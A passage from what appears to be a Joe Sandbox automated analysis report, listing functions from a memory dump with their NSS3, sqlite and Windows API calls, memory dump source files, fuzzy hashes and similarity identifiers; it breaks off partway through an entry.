Opcode ID: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction ID: d7b745329589c4cf52f16fb1097d40683d164b752f1c6948075c2546dc765dd8
Opcode Fuzzy Hash: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction Fuzzy Hash: 3851F5B1A00201ABEB109F79DC44ABB77B9AF8634CB644439DC1997B02EF31D855C7B9

Function 6C690C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000,?,?), ref: 6C690CB3

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DEC

Part of subcall function 6C6B0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
Part of subcall function 6C6B0F10: malloc.MOZGLUE(00000001), ref: 6C6B0F30
Part of subcall function 6C6B0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000), ref: 6C690E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000), ref: 6C690E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E79

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Part of subcall function 6C66B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C671397,00000000,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1CB
Part of subcall function 6C66B1A0: free.MOZGLUE(5B5F5EC0,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1D2

Part of subcall function 6C6689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6688AE,-00000008), ref: 6C668A04
Part of subcall function 6C6689E0: EnterCriticalSection.KERNEL32(?), ref: 6C668A15
Part of subcall function 6C6689E0: memset.VCRUNTIME140(6C6688AE,00000000,00000132), ref: 6C668A27
Part of subcall function 6C6689E0: PR_Unlock.NSS3(?), ref: 6C668A35

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction ID: 8919e93143be4044245895a9d88bdb2791ed12b196d266ebd16ed6fad71729ca
Opcode Fuzzy Hash: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction Fuzzy Hash: DC51D9F5D002019FEB109F64DC85AAB37A8EF4A318F150464ED1997B12FB31ED1987AE

Function 6C646E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C646ED8
sqlite3_value_text.NSS3(?,?), ref: 6C646EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C646FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C646FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C646FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C647010
sqlite3_value_blob.NSS3(?,?), ref: 6C64701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C647052

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction ID: d556bf23be8ba49df7ef0af32603c3ee1d4f2bf46e4938304b9abc7337f5d69d
Opcode Fuzzy Hash: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction Fuzzy Hash: 4B61E2B1E0520A8BDB40CF65C8007EEB7B2AF45308F28C165D855ABB51E732DC16CBA8

Function 6C6B8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6B7313), ref: 6C6B8FBB

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90F1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B906B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6B7313), ref: 6C6B9128

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1118a76c51b2bf7d005021de871d9f0fcf22768da21067c2da13a14fda83640f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 9251C571B002029FEB10CF6ADC84B66B3F9AF5535CF154029D919E7B61EB31E824CB99

Function 6C669C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C668850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
Part of subcall function 6C668850: PR_NewLock.NSS3 ref: 6C668874
Part of subcall function 6C668850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

PR_NewLock.NSS3 ref: 6C669CAD

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C669CE8
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D01
TlsGetValue.KERNEL32(?,?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D38
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D4D
PR_Unlock.NSS3 ref: 6C669D70
PR_Unlock.NSS3 ref: 6C669DC3
PR_NewLock.NSS3 ref: 6C669DDD

Part of subcall function 6C6688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668906
Part of subcall function 6C6688D0: EnterCriticalSection.KERNEL32(?), ref: 6C66891A
Part of subcall function 6C6688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C66894A
Part of subcall function 6C6688D0: calloc.MOZGLUE(00000001,6C67072D,00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668959
Part of subcall function 6C6688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C668993
Part of subcall function 6C6688D0: PR_Unlock.NSS3(?), ref: 6C6689AF

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction ID: 271d795eabe133716e4a3ebc560ee475c165bab5e11df6b6703635b577ec94e0
Opcode Fuzzy Hash: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction Fuzzy Hash: 4B512FB1A04B059FDB00EF6AC1846AABBF0BF45359F158579DC58DBB10DB30E844CB96

Function 6C769EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C769EC0
EnterCriticalSection.KERNEL32(?), ref: 6C769EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C769F73
EnterCriticalSection.KERNEL32(?), ref: 6C769FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C769FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C769FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A01D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction ID: 61baa99fa17096382ba63133418b06fe56d12a166b076a6e473674de3ffa805a
Opcode Fuzzy Hash: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction Fuzzy Hash: 9451B0B2804600CBCB109F26D58868AB7F4FF64319F298669DC5957F12E731F886CB91

Function 6C65DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C65DCFA

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C65DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C65DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C65DD8F

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_DestroyCertificate.NSS3(?), ref: 6C65DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C65DDB7

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 75308090a03ca7ff080c6872ac23569e8089fd4e6db1a8bfcab270df3e12f8c8
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: E521AEB6E011159BDB019EA4DD409DEB7B4AF05308B640120EC04A7751E731E925CBE9

Function 6C6E5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F72

Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED8F
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED9E
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FCC
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FF4
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6036

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction ID: 85b8e10f4464134d8304c148a1eeaba928fd1525a6f75363e819190abc4766dd
Opcode Fuzzy Hash: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction Fuzzy Hash: 8E214DF1605B04ABEB10DFB5D808BD7B7E8AB45709F104829E46A87640EB36E018CB95

Function 6C653C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6C460B,?,?), ref: 6C653CA9
EnterCriticalSection.KERNEL32(?), ref: 6C653CB9
PL_HashTableLookup.NSS3(?), ref: 6C653CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C653CD6
PR_Unlock.NSS3 ref: 6C653CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C653CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C653D03
PR_Unlock.NSS3 ref: 6C653D15

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction ID: 40711929105b53e86b35d31f1af212b21117df19df79e3feea97f50c1144fa1b
Opcode Fuzzy Hash: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction Fuzzy Hash: 2A112976E01505B7DB012A24EC458EA7AB9EB0365CB644230ED1883711FB22DD6887ED

Function 6C6D8D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6C6D8E19
free.MOZGLUE(?), ref: 6C6D8E2D
PORT_Alloc_Util.NSS3(?), ref: 6C6D8F01
memcpy.VCRUNTIME140(?,?,?), ref: 6C6D8F57
free.MOZGLUE(?), ref: 6C6D8F7D
PR_GetCurrentThread.NSS3 ref: 6C6D8F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6C6D90D6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: ab36cbb581520c01dbca69bb5957cf678fde39da7314ef43bf179a442c81054f
Instruction ID: d04a65243f712b49e76dae7cd9b0e0ec1790b903ed53cc0f7c736b28f99aa64b
Opcode Fuzzy Hash: ab36cbb581520c01dbca69bb5957cf678fde39da7314ef43bf179a442c81054f
Instruction Fuzzy Hash: CDA108706043029BE710CF24CC54BAB73E5EF89308F06592EE949CB662E731F645CB9A

Function 6C6C8C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C8C93

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6A8A60: TlsGetValue.KERNEL32(6C6561C4,?,6C655F9C,00000000), ref: 6C6A8A81
Part of subcall function 6C6A8A60: TlsGetValue.KERNEL32(?,?,?,6C655F9C,00000000), ref: 6C6A8A9E
Part of subcall function 6C6A8A60: EnterCriticalSection.KERNEL32(?,?,?,?,6C655F9C,00000000), ref: 6C6A8AB7
Part of subcall function 6C6A8A60: PR_Unlock.NSS3(?,?,?,?,?,6C655F9C,00000000), ref: 6C6A8AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6C6C8CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6C6C8D10

Part of subcall function 6C6A8970: TlsGetValue.KERNEL32(?,00000000,6C6561C4,?,6C655639,00000000), ref: 6C6A8991
Part of subcall function 6C6A8970: TlsGetValue.KERNEL32(?,?,?,?,?,6C655639,00000000), ref: 6C6A89AD
Part of subcall function 6C6A8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C655639,00000000), ref: 6C6A89C6
Part of subcall function 6C6A8970: PR_WaitCondVar.NSS3 ref: 6C6A89F7
Part of subcall function 6C6A8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C655639,00000000), ref: 6C6A8A0C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 1b1a15cdcad88a5dcc99ec77ba732f06703b0f6e38a8a2ae2e9b66ee29ea5060
Instruction ID: f4dfb93bfd321d74d892a3a58e1af5674c363b9a2cd559ff22d3f7313e7d0738
